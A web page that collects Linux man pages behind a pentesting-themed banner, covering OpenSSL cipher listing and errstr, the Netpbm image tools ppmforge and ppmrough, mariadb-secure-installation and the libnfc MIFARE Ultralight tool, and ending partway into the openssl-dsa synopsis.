ECDHE-PSK-RC4-SHA ECDHE_PSK_WITH_3DES_EDE_CBC_SHA ECDHE-PSK-3DES-EDE-CBC-SHA ECDHE_PSK_WITH_AES_128_CBC_SHA ECDHE-PSK-AES128-CBC-SHA ECDHE_PSK_WITH_AES_256_CBC_SHA ECDHE-PSK-AES256-CBC-SHA ECDHE_PSK_WITH_AES_128_CBC_SHA256 ECDHE-PSK-AES128-CBC-SHA256 ECDHE_PSK_WITH_AES_256_CBC_SHA384 ECDHE-PSK-AES256-CBC-SHA384 ECDHE_PSK_WITH_NULL_SHA ECDHE-PSK-NULL-SHA ECDHE_PSK_WITH_NULL_SHA256 ECDHE-PSK-NULL-SHA256 ECDHE_PSK_WITH_NULL_SHA384 ECDHE-PSK-NULL-SHA384 PSK_WITH_CAMELLIA_128_CBC_SHA256 PSK-CAMELLIA128-SHA256 PSK_WITH_CAMELLIA_256_CBC_SHA384 PSK-CAMELLIA256-SHA384 DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256 DHE-PSK-CAMELLIA128-SHA256 DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384 DHE-PSK-CAMELLIA256-SHA384 RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256 RSA-PSK-CAMELLIA128-SHA256 RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384 RSA-PSK-CAMELLIA256-SHA384 ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256 ECDHE-PSK-CAMELLIA128-SHA256 ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384 ECDHE-PSK-CAMELLIA256-SHA384 PSK_WITH_AES_128_CCM PSK-AES128-CCM PSK_WITH_AES_256_CCM PSK-AES256-CCM DHE_PSK_WITH_AES_128_CCM DHE-PSK-AES128-CCM DHE_PSK_WITH_AES_256_CCM DHE-PSK-AES256-CCM PSK_WITH_AES_128_CCM_8 PSK-AES128-CCM8 PSK_WITH_AES_256_CCM_8 PSK-AES256-CCM8 DHE_PSK_WITH_AES_128_CCM_8 DHE-PSK-AES128-CCM8 DHE_PSK_WITH_AES_256_CCM_8 DHE-PSK-AES256-CCM8

ChaCha20-Poly1305 cipher suites, extending TLS v1.2

TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 ECDHE-RSA-CHACHA20-POLY1305 TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 ECDHE-ECDSA-CHACHA20-POLY1305 TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 DHE-RSA-CHACHA20-POLY1305 TLS_PSK_WITH_CHACHA20_POLY1305_SHA256 PSK-CHACHA20-POLY1305 TLS_ECDHE_PSK_WITH_CHACHA20_POLY1305_SHA256 ECDHE-PSK-CHACHA20-POLY1305 TLS_DHE_PSK_WITH_CHACHA20_POLY1305_SHA256 DHE-PSK-CHACHA20-POLY1305 TLS_RSA_PSK_WITH_CHACHA20_POLY1305_SHA256 RSA-PSK-CHACHA20-POLY1305

TLS v1.3 cipher suites

TLS_AES_128_GCM_SHA256 TLS_AES_128_GCM_SHA256 TLS_AES_256_GCM_SHA384 TLS_AES_256_GCM_SHA384 TLS_CHACHA20_POLY1305_SHA256 TLS_CHACHA20_POLY1305_SHA256 TLS_AES_128_CCM_SHA256 TLS_AES_128_CCM_SHA256 TLS_AES_128_CCM_8_SHA256 TLS_AES_128_CCM_8_SHA256

Older names used by OpenSSL

The following names are accepted by older releases:

SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA EDH-RSA-DES-CBC3-SHA (DHE-RSA-DES-CBC3-SHA) SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA EDH-DSS-DES-CBC3-SHA (DHE-DSS-DES-CBC3-SHA)

NOTES

Some compiled versions of OpenSSL may not include all the ciphers listed here because some ciphers were excluded at compile time.

EXAMPLES

Verbose listing of all OpenSSL ciphers including NULL ciphers:

openssl ciphers -v ALL:eNULL

Include all ciphers except NULL and anonymous DH then sort by strength:

openssl ciphers -v ALL:!ADH:@STRENGTH

Include all ciphers except ones with no encryption (eNULL) or no authentication (aNULL):

openssl ciphers -v ALL:!aNULL

Include only 3DES ciphers and then place RSA ciphers last:

openssl ciphers -v 3DES:+RSA

Include all RC4 ciphers but leave out those without authentication:

openssl ciphers -v RC4:!COMPLEMENTOFDEFAULT

Include all ciphers with RSA authentication but leave out ciphers without encryption.

openssl ciphers -v RSA:!COMPLEMENTOFALL

Set security level to 2 and display all ciphers consistent with level 2:

openssl ciphers -s -v ALL:@SECLEVEL=2

SEE ALSO

openssl (1), openssl-s_client (1), openssl-s_server (1), ssl (7)

HISTORY

The -V option was added in OpenSSL 1.0.0.

The -stdname is only available if OpenSSL is built with tracing enabled (enable-ssl-trace argument to Configure) before OpenSSL 1.1.1.

The -convert option was added in OpenSSL 1.1.1.

Support for standard IANA names in cipher lists was added in OpenSSL 3.2.0.

COPYRIGHT

Copyright 2000-2024 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1477 - Linux cli command openssl-errstrssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-errstrssl and provides detailed information about the command openssl-errstrssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-errstrssl.

NAME 🖥️ openssl-errstrssl 🖥️

errstr - lookup error codes

SYNOPSIS

openssl errstr [-help] error_code…

DESCRIPTION

Sometimes an application will not load error message texts and only numerical forms will be available. This command can be used to display the meaning of the hex code. The hex code is the hex digits after the second colon.

OPTIONS

-help
Display a usage message.

EXAMPLES

The error code:

27594:error:2006D080:lib(32)::reason(128)::107:

can be displayed with:

openssl errstr 2006D080

to produce the error message:

error:2006D080:BIO routines::no such file

COPYRIGHT

Copyright 2004-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1478 - Linux cli command ppmforge

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmforge and provides detailed information about the command ppmforge, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmforge.

.

NAME 🖥️ ppmforge 🖥️

fractal forgeries of clouds, planets, and starry skies

SYNOPSIS

ppmforge

[-clouds] [-night] [-dimension dimen] [-hour hour] [-inclination|-tilt angle] [-mesh size] [-power factor] [-glaciers level] [-ice level] [-saturation sat] [-seed seed] [-stars fraction] [{-xsize|-width} width] [{-ysize|-height} height]

DESCRIPTION

This program is part of Netpbm(1) .

ppmforge generates three kinds of ``random fractal forgeries,’’ the term coined by Richard F. Voss of the IBM Thomas J. Watson Research Center for seemingly realistic pictures of natural objects generated by simple algorithms embodying randomness and fractal self-similarity. The techniques used by ppmforge are essentially those given by Voss[1], particularly the technique of spectral synthesis explained in more detail by Dietmar Saupe[2].

The program generates two varieties of pictures: planets and clouds, which are just different renderings of data generated in an identical manner, illustrating the unity of the fractal structure of these very different objects. A third type of picture, a starry sky, is synthesised directly from pseudorandom numbers.

The generation of planets or clouds begins with the preparation of an array of random data in the frequency domain. The size of this array, the ``mesh size,’’ can be set with the -mesh option; the larger the mesh the more realistic the pictures but the calculation time and memory requirement increases as the square of the mesh size. The fractal dimension, which you can specify with the -dimension option, determines the roughness of the terrain on the planet or the scale of detail in the clouds. As the fractal dimension is increased, more high frequency components are added into the random mesh.

Once the mesh is generated, an inverse two dimensional Fourier transform is performed upon it. This converts the original random frequency domain data into spatial amplitudes. We scale the real components that result from the Fourier transform into numbers from 0 to 1 associated with each point on the mesh. You can further modify this number by applying a ``power law scale’’ to it with the -power option. Unity scale leaves the numbers unmodified; a power scale of 0.5 takes the square root of the numbers in the mesh, while a power scale of 3 replaces the numbers in the mesh with their cubes. Power law scaling is best envisioned by thinking of the data as representing the elevation of terrain; powers less than 1 yield landscapes with vertical scarps that look like glacially-carved valleys; powers greater than one make fairy-castle spires (which require large mesh sizes and high resolution for best results).

After these calculations, we have a array of the specified size containing numbers that range from 0 to 1. ppmforge generates as follows:

The randomness in the image is limited before Netpbm 10.37 (December 2006) – if you run the program twice in the same second, you may get identical output.

Clouds
A color map is created that ranges from pure blue to white by increasing admixture (desaturation) of blue with white. Numbers less than 0.5 are colored blue, numbers between 0.5 and 1.0 are colored with corresponding levels of white, with 1.0 being pure white.

Planet
The mesh is projected onto a sphere. Values less than 0.5 are treated as water and values between 0.5 and 1.0 as land. The water areas are colored based upon the water depth, and land based on its elevation. The random depth data are used to create clouds over the oceans. An atmosphere approximately like the Earth’s is simulated; its light absorption is calculated to create a blue cast around the limb of the planet. A function that rises from 0 to 1 based on latitude is modulated by the local elevation to generate polar ice caps–high altitude terrain carries glaciers farther from the pole. Based on the position of the star with respect to the observer, the apparent color of each pixel of the planet is calculated by ray-tracing from the star to the planet to the observer and applying a lighting model that sums ambient light and diffuse reflection (for most planets ambient light is zero, as their primary star is the only source of illumination). Additional random data are used to generate stars around the planet.

Night
A sequence of pseudorandom numbers is used to generate stars with a user specified density.

Cloud pictures always contain 256 or fewer colors and may be displayed on most color mapped devices without further processing. Planet pictures often contain tens of thousands of colors which must be compressed with pnmquant or ppmdither before encoding in a color mapped format. If the display resolution is high enough, ppmdither generally produces better looking planets. pnmquant tends to create discrete color bands, particularly in the oceans, which are unrealistic and distracting. The number of colors in starry sky pictures generated with the -night option depends on the value specified for -saturation. Small values limit the color temperature distribution of the stars and reduce the number of colors in the image. If the -saturation is set to 0, none of the stars will be colored and the resulting image will never contain more than 256 colors. Night sky pictures with many different star colors often look best when color compressed by pamdepth rather than pnmquant or ppmdither. Try newmaxval settings of 63, 31, or 15 with pamdepth to reduce the number of colors in the picture to 256 or fewer.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmforge recognizes the following command line options:

You can abbreviate any options to its shortest unique prefix.

-clouds
Generate clouds. An image of fractal clouds is generated. Selecting clouds sets the default for fractal dimension to 2.15 and power scale factor to 0.75.

-dimension dimen
Sets the fractal dimension to the specified dimen, which may be any real number between 0 and 5 inclusive. Higher fractal dimensions create more ``chaotic’’ images, which require higher resolution output and a larger FFT mesh size to look good. If no dimension is specified, the program uses 2.4 when generating planets and 2.15 for clouds.

-glaciers level
The floating point level setting controls the extent to which terrain elevation causes ice to appear at lower latitudes. The default value of 0.75 makes the polar caps extend toward the equator across high terrain and forms glaciers in the highest mountains, as on Earth. Higher values make ice sheets that cover more and more of the land surface, simulating planets in the midst of an ice age. Lower values tend to be boring, resulting in unrealistic geometrically-precise ice cap boundaries.

-hour hour
When generating a planet, ppmforge uses hour as the “hour angle at the central meridian.” If you specify -hour 12, for example, the planet will be fully illuminated, corresponding to high noon at the longitude at the center of the screen. You can specify any floating point value between 0 and 24 for hour, but values which place most of the planet in darkness (0 to 4 and 20 to 24) result in crescents which, while pretty, don’t give you many illuminated pixels for the amount of computing that’s required. If no -hour option is specified, a random hour angle is chosen, biased so that only 25% of the images generated will be crescents.

-ice level
Sets the extent of the polar ice caps to the given floating point level. The default level of 0.4 produces ice caps similar to those of the Earth. Smaller values reduce the amount of ice, while larger -ice settings create more prominent ice caps. Sufficiently large values, such as 100 or more, in conjunction with small settings for -glaciers (try 0.1) create “ice balls” like Europa.

-inclination|-tilt angle
The inclination angle of the planet with regard to its primary star is set to angle, which can be any floating point value from -90 to 90. The inclination angle can be thought of as specifying, in degrees, the ``season’’ the planet is currently experiencing or, more precisely, the latitude at which the star transits the zenith at local noon. If 0, the planet is at equinox; the star is directly overhead at the equator. Positive values represent summer in the northern hemisphere, negative values summer in the southern hemisphere. The Earth’s inclination angle, for example, is about 23.5 at the June solstice, 0 at the equinoxes in March and September, and -23.5 at the December solstice. If no inclination angle is specified, a random value between -21.6 and 21.6 degrees is chosen.

-mesh size
A mesh of size by size will be used for the fast Fourier transform (FFT). Note that memory requirements and computation speed increase as the square of size; if you double the mesh size, the program will use four times the memory and run four times as long. The default mesh is 256x256, which produces reasonably good looking pictures while using half a megabyte for the 256x256 array of single precision complex numbers required by the FFT. On machines with limited memory capacity, you may have to reduce the mesh size to avoid running out of RAM. Increasing the mesh size produces better looking pictures; the difference becomes particularly noticeable when generating high resolution images with relatively high fractal dimensions (between 2.2 and 3).

-night
A starry sky is generated. The stars are created by the same algorithm used for the stars that surround planet pictures, but the output consists exclusively of stars.

-power factor
Sets the “power factor” used to scale elevations synthesised from the FFT to factor, which can be any floating point number greater than zero. If no factor is specified a default of 1.2 is used if a planet is being generated, or 0.75 if clouds are selected by the -clouds option. The result of the FFT image synthesis is an array of elevation values between 0 and 1. A non-unity power factor exponentiates each of these elevations to the specified power. For example, a power factor of 2 squares each value, while a power factor of 0.5 replaces each with its square root. (Note that exponentiating values between 0 and 1 yields values that remain within that range.) Power factors less than 1 emphasise large-scale elevation changes at the expense of small variations. Power factors greater than 1 increase the roughness of the terrain and, like high fractal dimensions, may require a larger FFT mesh size and/or higher screen resolution to look good.

-saturation sat
Controls the degree of color saturation of the stars that surround planet pictures and fill starry skies created with the -night option. The default value of 125 creates stars which resemble the sky as seen by the human eye from Earth’s surface. Stars are dim; only the brightest activate the cones in the human retina, causing color to be perceived. Higher values of sat approximate the appearance of stars from Earth orbit, where better dark adaptation, absence of skyglow, and the concentration of light from a given star onto a smaller area of the retina thanks to the lack of atmospheric turbulence enhances the perception of color. Values greater than 250 create ``science fiction’’ skies that, while pretty, don’t occur in this universe.

Thanks to the inverse square law combined with Nature’s love of mediocrity, there are many, many dim stars for every bright one. This population relationship is accurately reflected in the skies created by ppmforge. Dim, low mass stars live much longer than bright massive stars, consequently there are many reddish stars for every blue giant. This relationship is preserved by ppmforge. You can reverse the proportion, simulating the sky as seen in a starburst galaxy, by specifying a negative sat value.

-seed num
Sets the seed for the random number generator to the integer num. The seed used to create each picture is displayed on standard output (unless suppressed with the -quiet option). Pictures generated with the same seed will be identical. If no -seed is specified, a random seed derived from the date and time will be chosen. Specifying an explicit seed allows you to re-render a picture you particularly like at a higher resolution or with different viewing parameters.

-stars fraction
Specifies the percentage of pixels, in tenths of a percent, which will appear as stars, either surrounding a planet or filling the entire frame if -night is specified. The default fraction is 100.

-xsize|-width width
Sets the width of the generated image to width pixels. The default width is 256 pixels. Images must be at least as wide as they are high; if a width less than the height is specified, it will be increased to equal the height. If you must have a long skinny image, make a square one with ppmforge, then use pamcut to extract a portion of the shape and size you require.

-ysize|-height height
Sets the height of the generated image to height pixels. The default height is 256 pixels. If the height specified exceeds the width, the width will be increased to equal the height.

LIMITATIONS

The algorithms require the output image to be at least as wide as it is high, and the width to be an even number of pixels. These constraints are enforced by increasing the size of the requested image if necessary.

You may have to reduce the FFT mesh size on machines with 16 bit integers and segmented pointer architectures.

SEE ALSO

pamcut(1) , pamdepth(1) , ppmdither(1) , pnmquant(1) , ppm(1)

[1]
Voss, Richard F., ``Random Fractal Forgeries,’’ in Earnshaw et. al., Fundamental Algorithms for Computer Graphics, Berlin: Springer-Verlag, 1985.

[2]
Peitgen, H.-O., and Saupe, D. eds., The Science Of Fractal Images, New York: Springer Verlag, 1988.

AUTHOR

John Walker
Autodesk SA
Avenue des Champs-Montants 14b
CH-2074 MARIN
Suisse/Schweiz/Svizzera/Svizra/Switzerland
    Usenet:[email protected]
    Fax:038/33 88 15
    Voice:038/33 76 33

Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, without any conditions or restrictions. This software is provided ``as is’’ without express or implied warranty.

PLUGWARE!

If you like this kind of stuff, you may also enjoy ``James Gleick’s Chaos–The Software’’ for MS-DOS, available for $59.95 from your local software store or directly from Autodesk, Inc., Attn: Science Series, 2320 Marinship Way, Sausalito, CA 94965, USA. Telephone: (800) 688-2344 toll-free or, outside the U.S. (415) 332-2344 Ext 4886. Fax: (415) 289-4718. ``Chaos–The Software’’ includes a more comprehensive fractal forgery generator which creates three-dimensional landscapes as well as clouds and planets, plus five more modules which explore other aspects of Chaos. The user guide of more than 200 pages includes an introduction by James Gleick and detailed explanations by Rudy Rucker of the mathematics and algorithms used by each program.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmforge.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1479 - Linux cli command mariadb-secure-installation

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-secure-installation and provides detailed information about the command mariadb-secure-installation, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-secure-installation.

NAME 🖥️ mariadb-secure-installation 🖥️

secure-installation - improve MariaDB installation security (mysql_secure_installation is now a symlink to mariadb-secure-installation)

SYNOPSIS

mysql_secure_installation

DESCRIPTION

This program enables you to improve the security of your MariaDB installation in the following ways:

·

You can set a password for root accounts.

·

You can remove root accounts that are accessible from outside the local host.

·

You can remove anonymous-user accounts.

·

You can remove the test database, which by default can be accessed by anonymous users.

mysql_secure_installation can be invoked without arguments:

shell> mysql_secure_installation

The script will prompt you to determine which actions to perform.

mysql_secure_installation accepts some options:

·

**–basedir=**dir_name

Base directory.

·

**–defaults-extra-file=**file_name

Additional option file.

·

**–defaults-file=**file_name

Option file.

·

–no-defaults

Don’t read any defaults file.

Other unrecognized options will be passed on to the server.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1480 - Linux cli command nfc-mfultralight

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nfc-mfultralight and provides detailed information about the command nfc-mfultralight, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nfc-mfultralight.

NAME 🖥️ nfc-mfultralight 🖥️

mfultralight - MIFARE Ultralight command line tool

SYNOPSIS

nfc-mfultralight r|w DUMP

DESCRIPTION

nfc-mfultralight is a MIFARE Ultralight tool that allows one to read or write a tag data to/from a DUMP file.

MIFARE Ultralight tag is one of the most widely used RFID tags for ticketing application. It uses a binary Mifare Dump file (MFD) to store data for all sectors.

Be cautious that some parts of a Ultralight memory can be written only once and some parts are used as lock bits, so please read the tag documentation before experimenting too much!

To set the UID of a special writeable UID card, edit the first 7 bytes of a dump file and then write it back, answering ‘Y’ to the question ‘Write UID bytes?’.

OPTIONS

r | w Perform read from ( r ) or write to ( w ) card.

DUMP
MiFare Dump (MFD) used to write (card to MFD) or (MFD to card)

BUGS

Please report any bugs on the libnfc issue tracker at:
https://github.com/nfc-tools/libnfc/issues

LICENCE

libnfc is licensed under the GNU Lesser General Public License (LGPL), version 3.
libnfc-utils and libnfc-examples are covered by the the BSD 2-Clause license.

AUTHORS

Roel Verdult <[email protected]>,
Romuald Conty <[email protected]>.

This manual page was written by Romuald Conty <[email protected]>. It is licensed under the terms of the GNU GPL (version 2 or later).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1481 - Linux cli command ppmrough

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmrough and provides detailed information about the command ppmrough, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmrough.

.

NAME 🖥️ ppmrough 🖥️

create PPM image of a single color rectangle with ragged edges on a different color background

SYNOPSIS

ppmrough

[-left pixels]

[-right pixels]

[-top pixels]

[-bottom pixels]

[-width pixels]

[-height pixels]

[-bg colorspec]

[-fg colorspec]

[-var pixels]

[-randomseed seed]

[-verbose]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

ppmrough generates a PPM image of the specified width and height. The image consists of a rectangle of the specified foreground color surrounded by borders of the specified size and background color, except that the boundary between the foreground rectangle and the borders is ragged. The ragged effect is random.

ppmrough writes the PPM image to Standard Output.

The maxval of the output image is 255 (You can change this with pamdepth).

Use the options -left or -right, respectively, to make vertical borders, and -top or -bottom, respectively, to generate horizontal borders inside the image. The value of each of these options is the minimum width of the border on that edge. Beyond that minimum, the width at any given location on that edge is random, varying along the edge in a fractal kind of way.

Use the -var option to control the “raggedness” of the border. The lower its value, the smoother the border is. You can initialize the pseudo-random generator with the -init option.

You could use ppmrough with ppmtopgm to create a PGM transparency mask and use it to roughen up the edges of another image.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmrough recognizes the following command line options:

**-width=**pixels
This specifies the width of the image in pixels (default: 100).

**-height=**pixels
This specifies the height of the image in pixels (default: 100).

**-left=**pixels
**-right=**pixels
**-top=**pixels
**-bottom=**pixels
This option causes the program to create a left, right, top, or bottom border, respectively, at least pixels pixels wide, varying randomly beyond that. You may specify any combination of these.

**-bg=**colorspec
This is the background color, i.e. the color of the borders. colorspec is as described for the argument of the pnm_parsecolor() library routine . Default is black.

**-fg=**color
This specifies the foreground color, i.e. the color of the center of the mage – everything but the borders. colorspec is as described for the argument of the pnm_parsecolor() library routine . Default is white.

**-var=**pixels
This specifies how ragged the borders are – how much and how quickly its width varies along the image edge. Its specific meaning is complex, but the larger it is, the more the border varies. Zero means it does not vary at all – the edge of the foreground is straight.

This must be a nonnegative integer. The default is 10.

**-randomseed=**seed
Use this option to initialize the pseudo-random number generator with seed.

You can use this to cause the program to produce repeatable output.

Before Netpbm 10.61 (December 2012), this is called -init, and that still works.

-verbose
Run ppmrough in verbose mode. It reports all parameters on Standard Error.

SEE ALSO

ppmmake(1) , pamcat(1) , ppmtopgm(1) , ppm(1) ,

HISTORY

This program was added to Netpbm in Release 10.9 (September 2002).

AUTHOR

Copyright (C) 2002 by Eckard Specht.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmrough.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1482 - Linux cli command openssl-dsassl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-dsassl and provides detailed information about the command openssl-dsassl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-dsassl.

NAME 🖥️ openssl-dsassl 🖥️

dsa - DSA key processing

SYNOPSIS

openssl dsa [-help] [-inform DER|PEM] [-outform DER|PEM] [-in filename] [-passin arg] [-out filename] [-passout arg] [-aes128] [-aes192] [-aes256] [-aria128] [-aria192] [-aria256] [-camellia128] [-camellia192] [-camellia256] [-des] [-des3] [-idea] [-text] [-noout] [-modulus] [-pubin] [-pubout] [-pvk-strong] [-pvk-weak] [-pvk-none] [-engine id] [-provider name] [-provider-path path] [-propquery propq]

